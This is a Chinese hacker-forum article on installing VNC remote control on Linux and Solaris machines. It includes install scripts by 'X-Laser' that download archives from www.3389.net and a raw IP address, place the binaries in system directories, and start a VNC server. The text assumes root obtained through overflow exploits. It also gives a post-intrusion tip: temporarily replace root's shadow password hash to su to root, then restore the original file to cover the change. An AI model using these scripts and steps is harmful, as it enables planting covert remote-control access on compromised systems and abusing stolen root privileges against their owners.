|
前段时间我们敬爱的榕哥写了远程安装vnc的文章,本来我以为他会接着写linux下的vnc安装,但却没了下文。由于以前我和x-laser研究过unix下的vnc安装,所以,今天就把一点心得写出来,错误之处,还请高手指正。 首先要来介绍一下vnc这个软件。国内对于vnc的研究比较少,只是到最近小榕才推广了一下,可是,对其强大的功能,也只是利用了一小部分。vnc是Virtual Network Computing的简称。 是http://www.uk.research.att.com/vnc的专门负责vnc开发的开发小组开发的。 vnc有点类似win2000的终端服务,相对于其他的远程控制软件,主要体现了五个优点。 1.vnc远程控制时,客户端的任何异常事故不会对服务端造成影响,就是说,如果你正在用vnc远程控制一台主机,你突然死机了,再用vnc连时,可以继续进行刚才的操作. 2.vnc的控制端很小,而且不需要任何安装,是居家旅行时的必备良药 :)而且vnc有java的控制端,不需要用任何其他工具,用浏览器就可以直接控制,比如ie或netscape 3.vnc实现了真正的跨平台,你可以在unix下控制windows,或者是在unix下控制windows,并不依赖操作平台是vnc最大的特色和优点.在本文中,我们将演示如何用windows来控制linux和solaris. 4.一个桌面可以同时被多个用户使用:)类似win2000终端的管理中的连接功能,交流非常方便,可做教学之用:) 5.vnc符合GNU风格,开放原代码,这是最大的好处,当然vnc的exploit在packetstorm上也可以找到. vnc的控制原理也可以用下图方便的表示 vnc viewer<----------------->Xvnc(vnc server)<--------------- (vnc protocal) (X protocal) ----------------->applications 这个控制是基于tcp/ip的,其中vnc server扮演了双重角色.vnc protocal是基于RFB protocal的,有兴趣的可以参照作者主页.这里不再赘述. 说了这么多了,现在就让我们开始动手来安装吧!首先以linux下的安装为例,我们可以用windows来控制linux的x-window. 把包传到linux的/tmp目录下(这里以/tmp为例,你也可以更换到其他的合适目录) 用tar命令解压缩,会得到一个vnc_x86_linux_2.0的目录 cd vnc_x86_linux_2.0进入后,接下来需要做的就是拷贝一些文件首先我们 mkdir -p /usr/local/bin/vnc/classes建立一个目录 再 cp classes/* /usr/local/bin/vnc/classes 接着再 mv vncpasswd /usr/bin mv vncserver /usr/bin mv vncviewer /usr/bin mv Xvnc /usr/bin vncpasswd是设置vnc的控制密码,vncserver是安装脚本,vncviewer是主控端,Xvnc就是上面协议里的那个了.这里我们做的主要就是把软件包的classes目录移到/usr/local/bin/vnc目录下面,然后把vncpasswd,vncserver,vncviewer,Xvnc这几个配置的文件放到/usr/bin这个目录,这里最重要的就是vncserver和Xvnc这两个文件。 然后我们需要修改一下xstartup这个脚本.位置在/tmp/.vnc下,我们修改他来使用kde启动,如果有kde的话 :)因为默认是twm启动,用kde比较漂亮 修改如下 echo "xrdb $HOME/.Xresources" >>xstartup 这句是让xrdb创建.Xresources文件 echo "xsetroot -solid grey" >>xstartup echo "xterm -geometry 80x24+10+10 -ls -title "$VNCDESKTOP Desktop" &">>xstartup 这句是设置屏幕解析度和到文件 echo "startkde &" >>xstartup 这句是以kde启动 然后我们再用vncserver启动即可了 :)这样再用vncviewer连,输入密码后就可以看到漂亮的kde桌面了. X-laser给我们写了一个本地安装vnc的脚本 ------------------------cut here---------------------------------- #!/bin/sh echo "This vnc install(rdehat *)" echo "author:X-Laser" echo "这里是幻影旅团(www.3389.net)" echo " 中国刺客网(www.thugx.com)" lynx -dump www.3389.net/vnc.tgz >/tmp/.vnc.tgz if chmod 777 /usr/X11R6/bin/twm then echo "checke x-server ok" else lynx -dump 61.153.9.166/bin.tar >/usr/X11R6/ lynx -dump 61.153.9.166/lib.tar >/usr/X11R6/ tar -xvf /usr/X11R6/bin.tar fi cd /tmp;tar -zxvf .vnc.tgz; mkdir .sh cd vnc_x86_linux_2.0 cp /usr/X11R6/bin/xauth /usr/bin; chmod 777 /usr/bin/xauth mkdir -p /usr/local/vnc/classes mkdir -p $HOME/.vnc mkdir twm cp classes/* /usr/local/vnc/classes mv vncpasswd /usr/bin mv vncserver /usr/bin mv vncviewer /usr/bin mv Xvnc /usr/bin echo "请输入选择的启动的界面 " echo "twm 界面,简陋型" echo "kde 标准界面" read vncgui if cd $vncgui then echo "您选择了twm界面" else "您已经选择了kde标准界面" cd $HOME/.vnc echo "#!/bin/sh" >xstartup echo "" >>startup echo "xrdb $HOME/.Xresources" >>xstartup echo "xsetroot -solid grey" >>xstartup echo "xterm -geometry 80x24+10+10 -ls -title "$VNCDESKTOP Desktop" &">>xstartup echo "startkde &" >>xstartup fi echo "请输入密码 长度5或者位以上" vncserver echo "您的vnc服务端口" netstat -an |grep 590 echo "您的http连接vnc端口" netstat -an |grep 580 echo "安装程序结束" ------------------------------------cut here------------------- 注意事项,由于vnc安装时与环境变量密切相关,所以请以正常用户安装(建议以root权限安装,这样有时候很多权限不够的问题可以避免)如果是以溢出后的uid=0的权限或者是suid的euid=0的权限来安装,都有可能遇到环境变量的问题. 黑客的小技巧:黑客入侵的后,可以用溢出的uid=0或euid=0的权限通过修改shadow的方法来改变root的密码,然后su到root,这样就不会有环境变量的问题了.具体实现如下 1.先建立一个用户,再用passwd修改密码 2.把shadow备份,然后把shadow中root的密码的hash替换成自己刚建立的用户的密码的hash,然后再su到root,进行操作 3.操作完成,退出root,再把刚才备份的替换回来. 安装好后,会有两个端口,一个是590x,一个是580x.因为安装时端口不是固定的.590x的端口是服务连接端口,而580x绑定了applet小程序,用web连接此端口会自动运行applet,从而达到网页访问效果,就是我前面提到的可以用浏览器来控制一样,最大限度的实现了跨平台。 现在我们来讲vnc在solaris下的安装,安装过程与在linux下安装几乎是一模一样的.不同的是sunos需要自己把包传到/tmp目录下,而linux下的安装则由脚本控制lynx自动下载,因为很多sunos都没lynx的缘故。同样在安装过程中需要root身份安装(不仅仅是uid=0哦!!)x-laser也为我们写了个本地安装的脚本 -----------------------------cut here------------------------------- #安装时请以root权限安装 #!/bin/sh echo "This vnc install(sunos ALL *)" echo "author:X-Laser" echo "这里是幻影旅团(www.3389.net)" echo " 中国刺客网(www.thugx.com)" if chmod 777 /usr/openwin/bin/xauth then echo "ok vnc -install start" tar -xvf sunos.tar cd vnc_sun4_sosV_5.5 mkdir -p /usr/local/vnc/classes cp calsses/* /usr/local/vnc/classes mv vncserver /usr/bin mv vncviewer /usr/bin mv Xvnc /usr/bin mv vncpasswd /usr/bin cp /usr/openwin/bin/* /usr/bin cp /usr/openwin/lib/* /usr/bin mkdir -p $HOME/.vnc echo "#!/bin/sh" >$HOME/.vnc/xstartup echo "" >>$HOME/.vnc/xstartup echo "xrdb $HOME/.Xresources" >>$HOME/.vnc/xstartup echo "xsetroot -solid grey" >>$HOME/.vnc/xstartup echo "xterm -geometry 80x24+10+10 -ls -title "$VNCDESKTOP Desktop" &" >>$HOME/.vnc/xstartup echo "/usr/dt/bin/dtsession & " >>$HOME/.vnc/xstartup vncserver echo "请输入密码,长度5位或5位以上" echo "next vnc start port" netstat -a |grep 590 echo install over else echo 您的X11R6文件不全,请把其他机器的openwin,cp到/usr/openwin/bin/里 fi --------------------------cut here--------------------------------- vnc还可以在各种其他的系统下安装,比如aix,freebsd等,但是安装还在测试中,到时候我们会再出些安装脚本。 说了这么多都还只是安装下面讲控制。控制有两种方式 1.用浏览器控制。比如说192.168.0.1是被控端,vnc开了两个端口5801和5901。那么我们在浏览器的地址栏里输http://192.168.0.1:5801然后就会自动下载applet的控制程序,输入密码之后,就可以看见x-window了,请注意,这个端口是5801,不是5901 2.用vncviewer控制.到 下载vncviewer,然后输入192.168.0.1:5901 第二步是输入密码,然后就可以开始连接控制了. 在windows下控制linux
在windows下控制sunos
关于vnc的初步介绍这篇文章就介绍到这里了, vnc的功能很强,不是一篇文章就能搞定的, 以后我们会陆续写关于这方面的文章.也希望在这方面有心得的朋友能和我们交流交流 |